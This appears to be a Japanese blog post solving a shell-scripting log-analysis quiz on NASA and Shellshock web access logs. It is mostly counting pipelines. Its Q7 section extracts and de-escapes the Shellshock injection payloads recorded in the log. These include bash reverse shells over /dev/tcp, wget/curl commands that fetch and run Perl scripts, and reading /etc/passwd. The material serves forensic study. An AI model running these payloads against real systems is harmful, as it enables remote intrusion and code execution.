■「第16回春だからログ解析するぞシェル芸勉強会」を解いてみた。
【問題と解答例】第16回春だからログ解析するぞシェル芸勉強会
http://blog.ueda.asia/?p=5644
■準備0
ログをとってきましょう。
■ここでログとは事前に用意されたアクセスログのことです。
自身の端末のログを取っても仕方がないので、普通に。
$ wget http://blog.ueda.asia/misc/access_log.nasa.gz; \
wget http://blog.ueda.asia/wp-content/uploads/2015/04/access.log_.shellshock.gz
$ du -k *.gz
4 access.log_.shellshock.gz
36476 access_log.nasa.gz
■準備1
access.log.shellshock.gzとaccess_log.nasa.gzについて、
日付と時刻を次のように正規化しておきましょう。
■月名の変換だけ気にすれば良い。
$ zcat access_log.nasa.gz | awk '{print $4}' | \
awk -F/ '{print $2}' | sort -u
Aug
Jul
$ zcat access.log_.shellshock.gz | awk '{print $4}' | \
awk -F/ '{print $2}' | sort -u
Dec
Nov
Oct
Sep
$ zcat access_log.nasa.gz | \
awk '{print $4,$0}' | \
sed -e 's%^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)%\3\2\1 \4\5\6%' \
-e 's/Jul/07/' \
-e 's/Aug/08/' > nasa.access.log
$ zcat access.log_.shellshock.gz | \
awk '{print $4,$0}' | \
sed -e 's%^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)%\3\2\1 \4\5\6%' \
-e 's/Oct/10/' \
-e 's/Nov/11/' \
-e 's/Dec/12/' > shellshock.access.log
■準備2
NASAのログを各日付のファイルに分けておきましょう。
ログはQ1で作ったものを使います。
1,2行目の8桁日付、6桁時刻は残っていても構いません。
■日付ごとに分けるだけ。
$ awk '{print $0 > "nasa."$1}' nasa.access.log
$ ls nasa.[0-9]* | column
nasa.19950701 nasa.19950713 nasa.19950725 nasa.19950810 nasa.19950822
nasa.19950702 nasa.19950714 nasa.19950726 nasa.19950811 nasa.19950823
nasa.19950703 nasa.19950715 nasa.19950727 nasa.19950812 nasa.19950824
nasa.19950704 nasa.19950716 nasa.19950728 nasa.19950813 nasa.19950825
nasa.19950705 nasa.19950717 nasa.19950801 nasa.19950814 nasa.19950826
nasa.19950706 nasa.19950718 nasa.19950803 nasa.19950815 nasa.19950827
nasa.19950707 nasa.19950719 nasa.19950804 nasa.19950816 nasa.19950828
nasa.19950708 nasa.19950720 nasa.19950805 nasa.19950817 nasa.19950829
nasa.19950709 nasa.19950721 nasa.19950806 nasa.19950818 nasa.19950830
nasa.19950710 nasa.19950722 nasa.19950807 nasa.19950819 nasa.19950831
nasa.19950711 nasa.19950723 nasa.19950808 nasa.19950820
nasa.19950712 nasa.19950724 nasa.19950809 nasa.19950821
■Q1
NASAのログについて、ステータスコードを抽出して、
どのコードがいくつあるか数えてみましょう。
■よくあるステータスコードの集計
$ awk '{print $(NF-1)}' nasa.access.log | sort | uniq -c
3100522 200
73070 302
266773 304
15 400
225 403
20901 404
65 500
41 501
$ awk '{print $(NF-1)}' nasa.access.log | awk '{a[$1]+=1};END{for (n in a){print n,a[n]}}' | sort -nr -k2
200 3100522
304 266773
302 73070
404 20901
403 225
500 65
501 41
400 15
■Q2
NASAのログについて、ファイルを開かずに、ログの多い日を探しだしてみましょう。
■ログの多い日
「サイズを見たら」というのはログサイズの大きい日な気がします。
リクエストクエリーのサイズによっては若干変わる可能性がありますので、
行の方がベターかと。
$ wc -l nasa.[0-9]* | sort -k 1 -nr | head -4
3461612 合計
134203 nasa.19950713
100960 nasa.19950706
94575 nasa.19950705
$ du -k nasa.[0-9]* | sort -k 1 -nr | head -3
16172 nasa.19950713
12292 nasa.19950706
11504 nasa.19950705
■Q3
NASAのログについて、(Q3-1)ログの件数が一番多い曜日はどれでしょうか。
(Q3-2)ログの件数が一番多い時間帯
(時間帯というのは0時台、1時台、・・・、23時台のこと)はどれでしょうか。
Q3-2については高速な方法を考えてみてください。
■Q3-1
$ awk '{print $1}' nasa.access.log | \
date -f - "+%A" | sort | uniq -c | sort -k1 -nr
667737 木曜日
574547 水曜日
556590 火曜日
529960 月曜日
497456 金曜日
318046 土曜日
317276 日曜日
■Q3-2
$ awk '{print substr($2,1,2)}' nasa.access.log | \
sort | uniq -c | sort -k1 -nr
230665 15
227228 12
225350 13
223873 14
217564 16
211064 11
193816 10
178664 09
178443 17
149193 08
146091 18
131432 22
131091 19
129907 21
129753 20
123932 23
110312 00
101403 07
91597 01
77805 02
67393 03
66540 06
59506 05
58990 04
■sortをしないと時短出来るの発想は同じです。
後substrでは無いバージョンです。。。
$ awk '{print $2}' nasa.access.log | cut -c -2 | uniq -c | \
awk '{a[$2]+=$1};END{for (n in a){print n,a[n]}}'
00 110312
01 91597
02 77805
10 193816
03 67393
11 211064
04 58990
12 227228
05 59506
20 129753
13 225350
06 66540
21 129907
14 223873
07 101403
22 131432
15 230665
08 149193
23 123932
16 217564
09 178664
17 178443
18 146091
19 131091
■Q4
ShellShockログ内にあるIPアドレス(IPv4)がすべて192.168.から始まることを確認して下さい。
IPアドレスはレコードの先頭だけでなく、インジェクションするコードの中にもあるのでご注意ねがいます。
$ zcat access.log_.shellshock.gz | \
sed -e 's/\([0-9]*.[0-9]*\).[0-9]*.[0-9]*/\n\1\n/' | grep ^192.168\$ | uniq -c
109 192.168
■Q5
ShellShockログについて、レスポンスのデータ送信量が大きいものを、
IPアドレスと共に上から10件を挙げてみましょう。
$ zcat access.log_.shellshock.gz | \
sed -e 's%^\([0-9]*.[0-9]*.[0-9]*.[0-9]*\).*HTTP/1.1\" [0-9]* \([0-9]*\) .*"%\1 \2%' | \
sort -k2 -nr | head -10
192.168.64.196 234
192.168.246.56 234
192.168.246.56 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 233
192.168.193.42 233
192.168.193.42 230
■各IPごとの総データ量は以下。
$ zcat access.log_.shellshock.gz | \
sed -e 's%^\([0-9]*.[0-9]*.[0-9]*.[0-9]*\).*HTTP/1.1\" [0-9]* \([0-9]*\) .*"%\1 \2%' | \
awk '{a[$1]+=$2};END{for (n in a){print n,a[n]}}' | sort -k2 -nr
192.168.193.42 13924
192.168.58.180 2468
192.168.218.214 1346
192.168.246.56 468
192.168.64.196 234
192.168.225.64 227
192.168.87.145 208
192.168.177.253 208
192.168.126.87 208
192.168.113.11 208
192.168.98.218 0
192.168.3.135 0
192.168.238.52 0
192.168.192.217 0
192.168.151.207 0
192.168.119.115 0
192.168.0.90 0
■Q6
NASAのログについて、7月8月のうち、ゼロ件の日を列挙してみてください。
$ for n in `seq -w 0701 0731` `seq -w 0801 0831`;do \
ls nasa.1995$n 2>/dev/null | grep $n >/dev/null 2>&1 || echo "1995$n"; \
done
19950729
19950730
19950731
19950802
■Q7
ShellShockのログから、(Q7-1)インジェクションが試みられたコード(「() { :;};」から後ろ)を抽出してみて傾向を話あってみましょう。
(Q7-2)出来る人はエスケープも掃除してコードを復元してみましょう。
(Q7-3)更にできる人は最後の行のコードを実行してみてください。
このログはIPアドレスを変換しているので安全ですが、普通のログでやると死にますのでご注意を。
■Q7-1
$ zcat access.log_.shellshock.gz | grep ":.*;};" | sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | sed 's/ -O/\n\t&/'
1 /bin/bash -c \"cd /tmp;wget 192.168.8.189/use;curl
-O 192.168.8.189/use ; perl /tmp/use;rm -rf /tmp/use\""
1 /bin/bash -c \"cd /tmp;wget http://192.168.30.34/lex ; curl
-O http://192.168.30.34/lex ; perl lex ;rm -rf lex\""
1 /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
1 /bin/bash -c \"wget http://192.168.105.197/bash-count.txt\""
16 /bin/bash -i >& /dev/tcp/192.168.0.18/8888 0>&1"
1 /bin/bash -i >& /dev/tcp/192.168.10.1/8888 0>&1"
1 /usr/bin/wget http://192.168.63.155/res.html
-O /dev/null; /usr/bin/curl http://192.168.63.155/res.html"
6 echo Content-Type: text/plain ; echo \"TEST: TEST\""
1 echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
1 echo Content-type:text/plain;echo;echo vulnerable"
1 /usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -q http://192.168.63.71/android.txt
-O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*\");'"
62 /usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://192.168.144.163/guide/lx.pl
-O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*\");'"
■Q7-2
$ zcat access.log_.shellshock.gz | grep ":.*;};" | sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | \
cut -c 9- | tr -d '\\' | sed -e 's/rnrn/\n\t\t/g' -e 's/ -O/\n\t&/' | sed s/[\'\"]\"/\'/g
/bin/bash -c "cd /tmp;wget 192.168.8.189/use;curl
-O 192.168.8.189/use ; perl /tmp/use;rm -rf /tmp/use'
/bin/bash -c "cd /tmp;wget http://192.168.30.34/lex ; curl
-O http://192.168.30.34/lex ; perl lex ;rm -rf lex'
/bin/bash -c "echo testing9123123"; /bin/uname -a"
/bin/bash -c "wget http://192.168.105.197/bash-count.txt'
/bin/bash -i >& /dev/tcp/192.168.0.18/8888 0>&1"
/bin/bash -i >& /dev/tcp/192.168.10.1/8888 0>&1"
/usr/bin/wget http://192.168.63.155/res.html
-O /dev/null; /usr/bin/curl http://192.168.63.155/res.html"
echo Content-Type: text/plain ; echo "TEST: TEST'
echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
echo Content-type:text/plain;echo;echo vulnerable"
/usr/bin/perl -e 'print "Content-Type: text/plain
XSUCCESS!";system("wget -q http://192.168.63.71/android.txt
-O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
/usr/bin/perl -e 'print "Content-Type: text/plain
XSUCCESS!";system("wget http://192.168.144.163/guide/lx.pl
-O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*");'
■Q7-3はやりません。
$ zcat access.log_.shellshock.gz | grep ":.*;};" | tail -1 | \
sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | \
cut -c 9- | tr -d '\\' | sed -e 's/rnrn/\n\t\t/g' -e 's/ -O/\n\t&/' | sed s/[\'\"]\"/\'/g
/usr/bin/perl -e 'print "Content-Type: text/plain
XSUCCESS!";system("wget -q http://192.168.63.71/android.txt
-O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'